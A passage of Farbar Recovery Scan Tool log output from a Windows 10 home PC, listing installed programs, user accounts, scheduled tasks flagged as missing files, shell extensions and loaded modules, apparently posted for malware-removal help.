2018-03-30 18:34 - 2017-12-22 15:26 - 001035298 _____ C:\WINDOWS\system32\PerfStringBackup.INI
2018-03-30 17:40 - 2017-12-22 15:54 - 000000006 ____H C:\WINDOWS\Tasks\SA.DAT
2018-03-30 17:38 - 2017-09-29 09:45 - 000786432 _____ C:\WINDOWS\system32\config\BBI
==================== Files in the root of some directories =======
2013-12-20 11:19 - 2013-12-20 11:19 - 000000046 _____ () C:\ProgramData\Temp.cmd
2017-01-16 17:35 - 2017-01-16 17:36 - 049290112 _____ (Sony) C:\Users\owner\AppData\Local\pcc.exe
2015-09-19 12:53 - 2015-12-15 16:44 - 000001606 _____ () C:\Users\owner\AppData\Local\SocialSafe-Internal-Helper.log
==================== Bamital & volsnap ======================
(There is no automatic fix for files that do not pass verification.)
C:\WINDOWS\system32\winlogon.exe => File is digitally signed
C:\WINDOWS\system32\wininit.exe => File is digitally signed
C:\WINDOWS\explorer.exe => File is digitally signed
C:\WINDOWS\SysWOW64\explorer.exe => File is digitally signed
C:\WINDOWS\system32\svchost.exe => File is digitally signed
C:\WINDOWS\SysWOW64\svchost.exe => File is digitally signed
C:\WINDOWS\system32\services.exe => File is digitally signed
C:\WINDOWS\system32\User32.dll => File is digitally signed
C:\WINDOWS\SysWOW64\User32.dll => File is digitally signed
C:\WINDOWS\system32\userinit.exe => File is digitally signed
C:\WINDOWS\SysWOW64\userinit.exe => File is digitally signed
C:\WINDOWS\system32\rpcss.dll => File is digitally signed
C:\WINDOWS\system32\dnsapi.dll => File is digitally signed
C:\WINDOWS\SysWOW64\dnsapi.dll => File is digitally signed
C:\WINDOWS\system32\Drivers\volsnap.sys => File is digitally signed
LastRegBack: 2018-04-08 15:53
==================== End of FRST.txt ============================

 

 

 

Additional scan result of Farbar Recovery Scan Tool (x64) Version: 15.04.2018
Ran by owner (16-04-2018 08:37:33)
Running from C:\Users\owner\Desktop
Windows 10 Home Version 1709 16299.309 (X64) (2017-12-22 14:56:23)
Boot Mode: Normal
==========================================================

==================== Accounts: =============================
Administrator (S-1-5-21-685160351-2209658244-3524408110-500 - Administrator - Disabled)
DefaultAccount (S-1-5-21-685160351-2209658244-3524408110-503 - Limited - Disabled)
Guest (S-1-5-21-685160351-2209658244-3524408110-501 - Limited - Disabled)
owner (S-1-5-21-685160351-2209658244-3524408110-1001 - Administrator - Enabled) => C:\Users\owner
WDAGUtilityAccount (S-1-5-21-685160351-2209658244-3524408110-504 - Limited - Disabled)
==================== Security Center ========================
(If an entry is included in the fixlist, it will be removed.)
AV: Windows Defender (Enabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
AS: Windows Defender (Enabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
==================== Installed Programs ======================
(Only the adware programs with "Hidden" flag could be added to the fixlist to unhide them. The adware programs should be uninstalled manually.)
7-Zip 9.20 (x64 edition) (HKLM\...\{23170F69-40C1-2702-0920-000001000000}) (Version: 9.20.00.0 - Igor Pavlov)
Adobe Acrobat Reader DC (HKLM-x32\...\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}) (Version: 18.011.20038 - Adobe Systems Incorporated)
Adobe Flash Player 29 NPAPI (HKLM-x32\...\Adobe Flash Player NPAPI) (Version: 29.0.0.140 - Adobe Systems Incorporated)
Adobe Shockwave Player 12.0 (HKLM-x32\...\Adobe Shockwave Player) (Version: 12.0.2.122 - Adobe Systems, Inc.)
Apple Application Support (32-bit) (HKLM-x32\...\{D4C80B0C-CF67-43A7-90C3-466853543B54}) (Version: 6.3 - Apple Inc.)
Apple Application Support (64-bit) (HKLM\...\{B2A2E8AF-BC48-4191-B2C4-3846A19835CA}) (Version: 6.3 - Apple Inc.)
Apple Mobile Device Support (HKLM\...\{AA7D90D2-2387-4FA5-A3AF-96811BE49BFD}) (Version: 11.0.5.14 - Apple Inc.)
Apple Software Update (HKLM-x32\...\{19589375-5C58-4AFA-842F-8B34744CCEAD}) (Version: 2.5.0.1 - Apple Inc.)
BBC iPlayer Downloads (HKLM-x32\...\{3DD343EA-B76B-4886-87FC-E5B127A8E035}) (Version: 1.7.4 - BBC)
Bonjour (HKLM\...\{56DDDFB8-7F79-4480-89D5-25E1F52AB28F}) (Version: 3.1.0.1 - Apple Inc.)
Canon Easy-WebPrint EX (HKLM-x32\...\Easy-WebPrint EX) (Version: 1.6.0.0 - Canon Inc.)
Canon IJ Network Scanner Selector EX (HKLM-x32\...\Canon_IJ_Network_Scanner_Selector_EX) (Version:  - ‪Canon Inc.‬)
Canon IJ Network Tool (HKLM-x32\...\Canon_IJ_Network_UTILITY) (Version: 3.1.0 - Canon Inc.)
Canon IJ Scan Utility (HKLM-x32\...\Canon_IJ_Scan_Utility) (Version:  - ‪Canon Inc.‬)
Canon MG4200 series MP Drivers (HKLM\...\{1199FAD5-9546-44f3-81CF-FFDB8040B7BF}_Canon_MG4200_series) (Version: 1.01 - Canon Inc.)
Canon MG4200 series On-screen Manual (HKLM-x32\...\Canon MG4200 series On-screen Manual) (Version: 7.5.0 - Canon Inc.)
Canon MG4200 series User Registration (HKLM-x32\...\Canon MG4200 series User Registration) (Version:  - Canon Inc.‎)
Canon My Image Garden (HKLM-x32\...\Canon My Image Garden) (Version: 1.1.2 - Canon Inc.)
Canon My Image Garden Design Files (HKLM-x32\...\Canon My Image Garden Design Files) (Version: 1.0.1 - Canon Inc.)
Canon My Printer (HKLM-x32\...\CanonMyPrinter) (Version: 3.0.0 - Canon Inc.)
Canon Quick Menu (HKLM-x32\...\CanonQuickMenu) (Version: 2.0.0 - Canon Inc.)
Cisco VideoGuard Player (HKLM-x32\...\{0d415397-2ac8-4273-afde-e6c887ffc827}) (Version: 9.0.1.4396 - Cisco Systems, Inc)
Cisco VideoGuard Player (HKLM-x32\...\{6cc611bb-55c9-4d38-8f35-4a6882eec0fa}) (Version: 8.1.1.3252 - Cisco Systems, Inc)
CyberLink LabelPrint (HKLM-x32\...\InstallShield_{C59C179C-668D-49A9-B6EA-0121CCFC1243}) (Version: 2.5.5.6902 - CyberLink Corp.)
CyberLink Media Suite 10 (HKLM-x32\...\InstallShield_{1FBF6C24-C1fD-4101-A42B-0C564F9E8E79}) (Version: 10.0.5.3606 - CyberLink Corp.)
Cyberlink PhotoDirector (HKLM-x32\...\InstallShield_{39337565-330E-4ab6-A9AE-AC81E0720B10}) (Version: 3.0.2.4128 - CyberLink Corp.)
CyberLink Power2Go 8 (HKLM-x32\...\InstallShield_{2A87D48D-3FDF-41fd-97CD-A1E370EFFFE2}) (Version: 8.0.5.3416 - CyberLink Corp.)
CyberLink PowerDirector 10 (HKLM-x32\...\InstallShield_{B0B4F6D2-F2AE-451A-9496-6F2F6A897B32}) (Version: 10.0.4.3021 - CyberLink Corp.)
CyberLink PowerDVD 12 (HKLM-x32\...\InstallShield_{B46BEA36-0B71-4A4E-AE41-87241643FA0A}) (Version: 12.0.2.3305 - CyberLink Corp.)
CyberLink YouCam (HKLM-x32\...\InstallShield_{01FB4998-33C4-4431-85ED-079E3EEFE75D}) (Version: 5.0.1.2922 - CyberLink Corp.)
D3DX10 (HKLM-x32\...\{E09C4DB7-630C-4F06-A631-8EA7239923AF}) (Version: 15.4.2368.0902 - Microsoft) Hidden
DisableMSDefender (HKLM\...\{74FE39A0-FB76-47CD-84BA-91E2BBB17EF2}) (Version: 1.0.0 - Hewlett-Packard Company) Hidden
Energy Star (HKLM-x32\...\{FC0ADA4D-8FA5-4452-8AFF-F0A0BAC97EF7}) (Version: 1.0.9 - Hewlett-Packard Company)
HP 3D DriveGuard (HKLM-x32\...\{07F6DC37-0857-4B68-A675-4E35989E85E3}) (Version: 6.0.15.1 - Hewlett-Packard Company)
HP Connected Music (Meridian - installer) (HKLM-x32\...\StartHPConnectedMusic) (Version: 1.0 - Meridian Audio Ltd)
HP Connected Music (Meridian - player) (HKU\S-1-5-21-685160351-2209658244-3524408110-1001\...\HPConnectedMusic) (Version: 1.1 (build 99) hp - Meridian Audio Ltd)
HP CoolSense (HKLM-x32\...\{394B14EA-B072-4440-9510-87797CB12371}) (Version: 2.20.21 - Hewlett-Packard Company)
HP Deskjet 2540 series Basic Device Software (HKLM\...\{7AF1A318-2914-41CC-9B24-041C2D4AAAD7}) (Version: 32.0.1180.44630 - Hewlett-Packard Co.)
HP Deskjet 2540 series Help (HKLM-x32\...\{4539575D-C09D-4E71-B207-0F2D6BD74DA2}) (Version: 30.0.0 - Hewlett Packard)
HP Documentation (HKLM-x32\...\{61245005-66F1-4001-AEE8-2E2D36F65C28}) (Version: 1.1.0.0 - Hewlett-Packard)
HP FWUpdateEDO2 (HKLM-x32\...\{415FA9AD-DA10-4ABE-97B6-5051D4795C90}) (Version: 1.2.0.0 - Hewlett-Packard)
HP Photo Creations (HKLM-x32\...\HP Photo Creations) (Version: 1.0.0.7702 - HP)
HP Quick Start (HKLM-x32\...\{574F0207-8E98-46CD-8F79-318348C98C46}) (Version: 1.0.4660.30220 - Hewlett-Packard)
HP Registration Service (HKLM\...\{D1E8F2D7-7794-4245-B286-87ED86C1893C}) (Version: 1.2.6838.4521 - Hewlett-Packard)
HP Support Assistant (HKLM-x32\...\{C88F84E5-AE23-44BD-922C-2ABEACACAF7A}) (Version: 7.2.23.56 - Hewlett-Packard Company)
HP System Event Utility (HKLM-x32\...\{C78E8F51-3EAD-4F0C-83F0-EF371075E0B4}) (Version: 1.0.10 - Hewlett-Packard Company)
HP Update (HKLM-x32\...\{912D30CF-F39E-4B31-AD9A-123C6B794EE2}) (Version: 5.005.002.002 - Hewlett-Packard)
HP Utility Center (HKLM\...\{A48BD764-CFDF-40A5-A07A-710908044F5D}) (Version: 2.2.2 - Hewlett-Packard Company)
HP Wireless Button Driver (HKLM-x32\...\{30B2D1D8-0A07-4B71-9553-0710C5D31E35}) (Version: 1.1.2.1 - Hewlett-Packard Company)
HPDiagnosticAlert (HKLM-x32\...\{B6465A32-8BE9-4B38-ADC5-4B4BDDC10B0D}) (Version: 1.00.0001 - Microsoft) Hidden
iCloud (HKLM\...\{694E3E02-E14A-4BB2-A970-CF7F017FD5CC}) (Version: 7.3.0.20 - Apple Inc.)
Intel® Management Engine Components (HKLM-x32\...\{65153EA5-8B6E-43B6-857B-C6E4FC25798A}) (Version: 9.5.3.1520 - Intel Corporation)
Intel® Processor Graphics (HKLM-x32\...\{F0E3AD40-2BBD-4360-9C76-B9AC9A5886EA}) (Version: 20.19.15.4835 - Intel Corporation)
Intel® Rapid Storage Technology (HKLM\...\{409CB30E-E457-4008-9B1A-ED1B9EA21140}) (Version: 12.6.0.1033 - Intel Corporation)
Intel® SDK for OpenCL - CPU Only Runtime Package (HKLM-x32\...\{FCB3772C-B7D0-4933-B1A9-3707EBACC573}) (Version: 3.0.0.66956 - Intel Corporation)
iTunes (HKLM\...\{7EE6E263-19DA-4A33-BB8C-9BDC12BA1918}) (Version: 12.7.3.46 - Apple Inc.)
KnowHow ReadMe (HKLM-x32\...\{8AFC7125-0E25-47AA-8444-9DA7940ABBC4}) (Version: 1.00.0000 - Dixons Retail)
London and South East (HKLM-x32\...\London and South East) (Version:  - )
Malwarebytes Anti-Malware version 2.2.0.1024 (HKLM-x32\...\Malwarebytes Anti-Malware_is1) (Version: 2.2.0.1024 - Malwarebytes)
Microsoft Office Home and Student 2013 - en-us (HKLM\...\HomeStudentRetail - en-us) (Version: 15.0.5015.1000 - Microsoft Corporation)
Microsoft OneDrive (HKU\S-1-5-21-685160351-2209658244-3524408110-1001\...\OneDriveSetup.exe) (Version: 18.044.0301.0006 - Microsoft Corporation)
Microsoft Silverlight (HKLM\...\{89F4137D-6C26-4A84-BDB8-2E5A4BB71E00}) (Version: 5.1.50907.0 - Microsoft Corporation)
Microsoft SQL Server 2005 Compact Edition [ENU] (HKLM-x32\...\{F0B430D1-B6AA-473D-9B06-AA3DD01FD0B8}) (Version: 3.1.0000 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}) (Version: 8.0.61001 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{837b34e3-7c30-493c-8f6a-2b0f04e2912c}) (Version: 8.0.59193 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 (HKLM-x32\...\{9A25302D-30C0-39D9-BD6F-21E6EC160475}) (Version: 9.0.30729 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 (HKLM-x32\...\{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}) (Version: 9.0.30729.4148 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (HKLM-x32\...\{9BE518E6-ECC6-35A9-88E4-87755C07200F}) (Version: 9.0.30729.6161 - Microsoft Corporation)
Microsoft Visual C++ 2010  x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2010  x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 (HKLM-x32\...\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}) (Version: 11.0.61030.0 - Microsoft Corporation)
Microsoft Visual Studio 2010 Tools for Office Runtime (x64) (HKLM\...\Microsoft Visual Studio 2010 Tools for Office Runtime (x64)) (Version: 10.0.50903 - Microsoft Corporation)
Microsoft XNA Framework Redistributable 3.1 (HKLM-x32\...\{19BFDA5D-1FE2-4F25-97F9-1A79DD04EE20}) (Version: 3.1.10527.0 - Microsoft Corporation)
Movie Maker (HKLM-x32\...\{DD67BE4B-7E62-4215-AFA3-F123A800A389}) (Version: 16.4.3528.0331 - Microsoft Corporation) Hidden
Movie Maker (HKLM-x32\...\{EB3DF0F0-0525-4C5A-A2F8-DEC868A3075D}) (Version: 16.4.3528.0331 - Microsoft Corporation) Hidden
Mozilla Firefox 59.0.2 (x64 en-US) (HKLM\...\Mozilla Firefox 59.0.2 (x64 en-US)) (Version: 59.0.2 - Mozilla)
Mozilla Maintenance Service (HKLM-x32\...\MozillaMaintenanceService) (Version: 59.0.2.6656 - Mozilla)
Office 15 Click-to-Run Extensibility Component (HKLM-x32\...\{90150000-008C-0000-0000-0000000FF1CE}) (Version: 15.0.5015.1000 - Microsoft Corporation) Hidden
Office 15 Click-to-Run Licensing Component (HKLM\...\{90150000-008F-0000-1000-0000000FF1CE}) (Version: 15.0.5015.1000 - Microsoft Corporation) Hidden
Office 15 Click-to-Run Localization Component (HKLM-x32\...\{90150000-008C-0409-0000-0000000FF1CE}) (Version: 15.0.5015.1000 - Microsoft Corporation) Hidden
Open Rails 1.2.3766 (HKLM-x32\...\{94E15E08-869D-4B69-B8D7-8C82075CB51C} ; Generat~67F3DAC8_is1) (Version: 1.2.3766 - Open Rails)
OpenAL (HKLM-x32\...\OpenAL) (Version:  - )
PC VGA Camera (HKLM-x32\...\{4FADE58A-52F8-4FB5-A864-508385F5454C}) (Version: 1.0.2.13 - PC Camera) Hidden
PC VGA Camera (HKLM-x32\...\InstallShield_{4FADE58A-52F8-4FB5-A864-508385F5454C}) (Version: 1.0.2.13 - PC Camera)
Realtek Card Reader (HKLM-x32\...\{F0A8BF4A-972F-41E0-9800-1EFE3BF28266}) (Version: 1.1.9200.15 - Realtek Semiconductor Corp.)
Realtek Ethernet Controller Driver (HKLM-x32\...\{8833FFB6-5B0C-4764-81AA-06DFEED9A476}) (Version: 8.15.410.2013 - Realtek)
Realtek High Definition Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.1.6923 - Realtek Semiconductor Corp.)
REALTEK Wireless LAN Driver (HKLM-x32\...\{A5107464-AA9B-4177-8129-5FF2F42DD322}) (Version: 1.00.12.0906 - REALTEK Semiconductor Corp.)
Sky Cinema 4.0.0.0 (HKU\S-1-5-21-685160351-2209658244-3524408110-1001\...\com.bskyb.skycinema_is1) (Version: 4.0.0.0 - Sky)
Sky Sports 5.0.0.0 (HKU\S-1-5-21-685160351-2209658244-3524408110-1001\...\com.bskyb.skysports_is1) (Version: 5.0.0.0 - Sky)
Sony Mobile Update Engine (HKLM-x32\...\Update Engine) (Version: 2.15.16.201511171525 - Sony Mobile Communications Inc.)
Sony PC Companion 2.10.303 (HKLM-x32\...\{F09EF8F2-0976-42C1-8D9D-8DF78337C6E3}) (Version: 2.10.303 - Sony)
swMSM (HKLM-x32\...\{612C34C7-5E90-47D8-9B5C-0F717DD82726}) (Version: 12.0.0.1 - Adobe Systems, Inc) Hidden
Synaptics Pointing Device Driver (HKLM\...\SynTPDeinstKey) (Version: 19.3.31.31 - Synaptics Incorporated)
TomTom MyDrive Connect 4.1.5.3181 (HKLM-x32\...\MyDriveConnect) (Version: 4.1.5.3181 - TomTom)
Visual Studio 2012 x64 Redistributables (HKLM\...\{8C775E70-A791-4DA8-BCC3-6AB7136F4484}) (Version: 14.0.0.1 - AVG Technologies)
Visual Studio 2012 x86 Redistributables (HKLM-x32\...\{98EFF19A-30AB-4E4B-B943-F06B1C63EBF8}) (Version: 14.0.0.1 - AVG Technologies CZ, s.r.o.)
Visual Studio C++ 10.0 Runtime (HKLM-x32\...\{4412F224-3849-4461-A3E9-DEEF8D252790}) (Version: 10.0.0 - TomTom International B.V.)
Windows Live Essentials (HKLM-x32\...\WinLiveSuite) (Version: 16.4.3528.0331 - Microsoft Corporation)
Windows Mobile Device Center (HKLM\...\{626672CD-BFCF-49A9-AEFE-AB0FED3BFC5B}) (Version: 6.1.6965.0 - Microsoft Corporation)
Xperia Companion (HKLM-x32\...\{058506CE-4E1C-4087-878E-61D8B5F8F47A}) (Version: 1.7.2.0 - Sony) Hidden
Xperia Companion (HKLM-x32\...\{65415473-2761-4ee3-85c1-5fdf086444c6}) (Version: 1.7.2.0 - Sony)
Xperia Companion Service (HKLM\...\{86C9336F-6376-4E86-A09A-EA7177DEC3D5}) (Version: 1.7.2.0 - Sony) Hidden
==================== Custom CLSID (Whitelisted): ==========================
(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
CustomCLSID: HKU\S-1-5-21-685160351-2209658244-3524408110-1001_Classes\CLSID\{162C6FB5-44D3-435B-903D-E613FA093FB5}\InprocServer32 -> C:\Users\owner\AppData\Local\Microsoft\OneDrive\17.3.6386.0412\amd64\FileCoAuthLib64.dll => No File
ContextMenuHandlers1: [7-Zip] -> {23170F69-40C1-278A-1000-000100020000} => C:\Program Files\7-Zip\7-zip.dll [2010-11-18] (Igor Pavlov)
ContextMenuHandlers1: [CLVDShellExt] -> {3E2A0A32-6E14-4BAD-AA87-BBB6A75EBFF2} => C:\Program Files (x86)\Common Files\CyberLink\ShellExtComponent\CLVDShellExt.dll [2014-02-09] (Cyberlink)
ContextMenuHandlers1: [PhotoStreamsExt] -> {89D984B3-813B-406A-8298-118AFA3A22AE} => C:\Program Files\Common Files\Apple\Internet Services\ShellStreams64.dll [2018-01-10] (Apple Inc.)
ContextMenuHandlers2: [CLVDShellExt] -> {3E2A0A32-6E14-4BAD-AA87-BBB6A75EBFF2} => C:\Program Files (x86)\Common Files\CyberLink\ShellExtComponent\CLVDShellExt.dll [2014-02-09] (Cyberlink)
ContextMenuHandlers4: [7-Zip] -> {23170F69-40C1-278A-1000-000100020000} => C:\Program Files\7-Zip\7-zip.dll [2010-11-18] (Igor Pavlov)
ContextMenuHandlers5: [igfxcui] -> {3AB1675A-CCFF-11D2-8B20-00A0C93CB1F4} =>  -> No File
ContextMenuHandlers5: [igfxDTCM] -> {9B5F5829-A529-4B12-814A-E81BCB8D93FC} => C:\WINDOWS\system32\igfxDTCM.dll [2017-10-20] (Intel Corporation)
==================== Scheduled Tasks (Whitelisted) =============
(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
Task: {0E24E262-915C-492E-B584-F39E43B1C10A} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan => C:\ProgramData\Microsoft\Windows Defender\platform\4.14.17613.18039-0\MpCmdRun.exe [2018-04-15] (Microsoft Corporation)
Task: {1B7628CA-E46F-46DA-B9E7-DB1761D54344} - \CCleanerSkipUAC -> No File <==== ATTENTION
Task: {20ED1C96-71A9-434B-90BE-3D41B705E70D} - \Microsoft\Windows\Setup\gwx\refreshgwxconfigandcontent -> No File <==== ATTENTION
Task: {2259B1FB-AAD3-443A-99B4-CC86A3448058} - System32\Tasks\Apple\AppleSoftwareUpdate => C:\Program Files (x86)\Apple Software Update\SoftwareUpdate.exe [2017-10-12] (Apple Inc.)
Task: {30B0D40B-5F5C-4A29-9A12-DE3E8AE1305A} - System32\Tasks\CLVDLauncher => C:\Program Files (x86)\CyberLink\Power2Go8\CLVDLauncher.exe [2013-03-12] (CyberLink Corp.)
Task: {352E6CA0-7314-4DF4-89C4-682368D80D57} - System32\Tasks\Microsoft\Windows\Workplace Join\Automatic-Workplace-Join => C:\WINDOWS\System32\AutoWorkplace.exe
Task: {39F48F92-C274-4BAD-8A28-CCAC13262DB2} - \Microsoft\Windows\Setup\GWXTriggers\OnIdle-5d -> No File <==== ATTENTION
Task: {3A363665-5C64-46AD-8534-08759E8BBE51} - System32\Tasks\Adobe Acrobat Update Task => C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe [2018-02-09] (Adobe Systems Incorporated)
Task: {43FE97E9-9E42-4357-8B51-E9DAF5299D79} - System32\Tasks\CLMLSvc_P2G8 => C:\Program Files (x86)\CyberLink\Power2Go8\CLMLSvc_P2G8.exe [2013-08-05] (CyberLink)
Task: {4D5BE56E-AE6F-46CA-A1C1-85C6801F184A} - System32\Tasks\Synaptics TouchPad Enhancements => C:\Program Files\Synaptics\SynTP\SynTPEnh.exe [2017-08-18] (Synaptics Incorporated)
Task: {590DDCFC-0A0D-49E5-B668-5D39DC066803} - \Microsoft\Windows\Setup\gwx\launchtrayprocess -> No File <==== ATTENTION
Task: {7D67A282-8CEB-47E4-AED7-D027B47CDBDC} - \Microsoft\Windows\Setup\GWXTriggers\refreshgwxconfig-B -> No File <==== ATTENTION
Task: {85A10245-2DDE-4E09-A185-102A683B6EFD} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Cleanup => C:\ProgramData\Microsoft\Windows Defender\platform\4.14.17613.18039-0\MpCmdRun.exe [2018-04-15] (Microsoft Corporation)
Task: {8A50983D-24AC-422E-8E8D-448C9A8CFE53} - \Microsoft\Windows\Setup\GWXTriggers\ScheduleUpgradeReminderTime -> No File <==== ATTENTION
Task: {8D7B87AD-5BF8-4581-8AFE-FC13FFDD5505} - System32\Tasks\Hewlett-Packard\HP CoolSense\HP CoolSense Start at Logon => C:\Program Files (x86)\Hewlett-Packard\HP CoolSense\CoolSense.exe [2013-09-10] (Hewlett-Packard Development Company, L.P.)
Task: {9177964F-6C96-42DE-8E08-7875843C5A6D} - System32\Tasks\Microsoft\Office\Office Automatic Updates => C:\Program Files\Microsoft Office 15\ClientX64\OfficeC2RClient.exe [2017-12-12] (Microsoft Corporation)
Task: {A40F3613-F700-4B28-A29F-29845F6189F5} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance => C:\ProgramData\Microsoft\Windows Defender\platform\4.14.17613.18039-0\MpCmdRun.exe [2018-04-15] (Microsoft Corporation)
Task: {B2A1953C-4CB4-4616-8D19-8B55F5F2AD51} - \Microsoft\Windows\Setup\gwx\rundetector -> No File <==== ATTENTION
Task: {B3AF5159-0A1C-4E57-99E1-7549C0A2588A} - \Microsoft\Windows\Setup\GWXTriggers\OutOfSleep-5d -> No File <==== ATTENTION
Task: {B41B6AA3-7DF6-4053-B1D7-B0D0D91D2569} - System32\Tasks\Microsoft\Windows\Setup\UpgradeTriggers\UpgradeReminderTask => C:\WINDOWS\System32\GWX\GWX.exe
Task: {B6711E08-ECEB-4FBD-A850-A8EF36BB7641} - System32\Tasks\Adobe Flash Player Updater => C:\WINDOWS\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe [2018-04-10] (Adobe Systems Incorporated)
Task: {BC2C1C8D-60E0-46A6-AEA5-11FE53BCDE8C} - System32\Tasks\Microsoft\Office\Office ClickToRun Service Monitor => C:\Program Files\Microsoft Office 15\ClientX64\OfficeC2RClient.exe [2017-12-12] (Microsoft Corporation)
Task: {BD74801F-BE91-4761-A2E6-29D0F1EB77D8} - \Microsoft\Windows\UNP\RunCampaignManager -> No File <==== ATTENTION
Task: {BEBAC8B3-4EEA-4598-931C-BB11C26CCFC9} - \Microsoft\Windows\Setup\GWXTriggers\MachineUnlock-5d -> No File <==== ATTENTION
Task: {C554EC79-4322-4F7E-B4E4-4AFC015AA8AA} - \Microsoft\Windows\Setup\GWXTriggers\OutOfIdle-5d -> No File <==== ATTENTION
Task: {CDEB811F-0206-486F-A531-158F04BE865E} - System32\Tasks\Hewlett-Packard\HP Support Assistant\WarrantyChecker => C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\Resources\HPWarrantyCheck\HPWarrantyChecker.exe [2013-11-22] (Hewlett-Packard)
Task: {D2400B70-2C97-4915-850F-25460E02862B} - \Microsoft\Windows\Setup\GWXTriggers\Time-5d -> No File <==== ATTENTION
Task: {D2728CCC-50F1-446B-94F9-4EF8377EDBBD} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Verification => C:\ProgramData\Microsoft\Windows Defender\platform\4.14.17613.18039-0\MpCmdRun.exe [2018-04-15] (Microsoft Corporation)
Task: {DA574B37-639B-4312-A689-CB601E2BE323} - System32\Tasks\Adobe Flash Player NPAPI Notifier => C:\WINDOWS\SysWOW64\Macromed\Flash\FlashUtil32_29_0_0_140_Plugin.exe [2018-04-10] (Adobe Systems Incorporated)
Task: {DC2CD66A-5913-4E23-B2DC-B26D66F7396E} - \Microsoft\Windows\Setup\GWXTriggers\ScheduleUpgradeTime -> No File <==== ATTENTION
Task: {E88B885A-7924-4D2E-8911-02DCD947A50F} - \Microsoft\Windows\Setup\GWXTriggers\Logon-5d -> No File <==== ATTENTION
Task: {F240E57B-468C-4532-B8BF-C154311898E9} - System32\Tasks\CreateChoiceProcessTask => C:\Windows\BrowserChoice\browserchoice.exe
Task: {F3F12E08-F3CF-44C9-9A22-26393BDEA1C0} - \Microsoft\Windows\Setup\gwx\refreshgwxconfig -> No File <==== ATTENTION
Task: {FD0AC5C9-F8D6-422B-BE8F-D54C2111EC34} - \Microsoft\Windows\Setup\gwx\refreshgwxcontent -> No File <==== ATTENTION
(If an entry is included in the fixlist, the task (.job) file will be moved. The file which is running by the task will not be moved.)
Task: C:\WINDOWS\Tasks\Synaptics TouchPad Enhancements.job => C:\Program Files\Synaptics\SynTP\SynTPEnh.exe
==================== Shortcuts & WMI ========================
(The entries could be listed to be restored or removed.)

Shortcut: C:\Users\owner\AppData\Local\Microsoft\Windows\RoamingTiles\-16576146740.lnk -> hxxp://windows.microsoft.com/en-gb/internet-explorer/browse
ShortcutWithArgument: C:\Users\owner\AppData\Local\Microsoft\Windows\Application Shortcuts\Microsoft.InternetExplorer.Default\-16576146740.lnk -> C:\Program Files\Internet Explorer\iexplore.exe (Microsoft Corporation) -> -contentTile -formatVersion 0x00000002 -pinnedTimeLow 0x5f090b08 -pinnedTimeHigh 0x01cf0b10 -securityFlags 0x00000000 -url 0x0000003c hxxp://windows.microsoft.com/en-gb/internet-explorer/browser
==================== Loaded Modules (Whitelisted) ==============
2017-12-08 02:48 - 2017-12-08 02:48 - 000088888 _____ () C:\Program Files\Common Files\Apple\Apple Application Support\zlib1.dll
2018-01-05 01:13 - 2018-01-05 01:13 - 001356088 _____ () C:\Program Files\Common Files\Apple\Apple Application Support\libxml2.dll
2014-03-16 15:58 - 2017-01-17 03:25 - 000117440 _____ () C:\Program Files\Microsoft Office 15\ClientX64\ApiClient.dll
2017-09-29 14:41 - 2017-09-29 14:41 - 000184432 _____ () C:\WINDOWS\SYSTEM32\inputhost.dll
2017-03-22 20:04 - 2017-01-31 13:34 - 008909512 _____ () C:\Program Files\Microsoft Office 15\root\VFS\ProgramFilesX64\Microsoft Office\Office15\1033\GrooveIntlResource.dll
2017-10-20 17:42 - 2017-10-20 17:42 - 000393200 _____ () C:\WINDOWS\system32\igfxTray.exe
2018-03-14 10:41 - 2018-02-22 01:26 - 011044864 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\CortanaApi.dll
2018-03-14 10:41 - 2018-02-22 01:21 - 001804288 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\Cortana.Core.dll
2018-01-22 04:15 - 2018-01-22 04:15 - 000088888 _____ () C:\Program Files\iTunes\zlib1.dll
2018-01-22 04:15 - 2018-01-22 04:15 - 001356088 _____ () C:\Program Files\iTunes\libxml2.dll
2018-03-23 20:32 - 2018-03-23 20:32 - 000086528 _____ () C:\Program Files\WindowsApps\Microsoft.SkypeApp_12.1811.248.1000_x64__kzf8qxf38zg5c\SkypeHost.exe
2018-03-23 20:32 - 2018-03-23 20:32 - 000195072 _____ () C:\Program Files\WindowsApps\Microsoft.SkypeApp_12.1811.248.1000_x64__kzf8qxf38zg5c\SkypeBackgroundTasks.dll
2018-03-23 20:32 - 2018-03-23 20:32 - 022050304 _____ () C:\Program Files\WindowsApps\Microsoft.SkypeApp_12.1811.248.1000_x64__kzf8qxf38zg5c\SkyWrap.dll
